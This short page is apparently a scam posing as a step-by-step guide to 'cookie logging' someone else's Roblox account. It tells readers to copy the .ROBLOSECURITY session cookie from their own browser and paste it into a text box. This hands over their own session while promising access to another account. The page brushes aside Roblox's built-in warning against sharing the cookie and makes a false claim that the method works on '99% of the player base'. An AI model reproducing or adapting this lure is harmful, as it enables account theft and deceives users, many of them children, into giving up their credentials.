Step 1: Download EditThisCookie Extension: https://chromewebstore.google.com/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg
Step 2: Go to the Roblox profile you want to cookie log (for example: https://www.roblox.com/users/6189150711/profile)
Step 3: Open the extension, locate .ROBLOSECURITY, click on it, then copy the value. If you did it right, in the beginning, it will say **(MAKE SURE TO COPY THE WHOLE THING)**:
_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_
Which means you got the cookie successfully
Step 4: Paste the value you just copied in the text box below here.
Step 5: Wait 1 - 2 Hours, refresh, and you should be logged in.
NOTE: This doesn't work on accounts that are highly secured, such as Roblox admins and YouTubers, but it should work on 99% of the player base.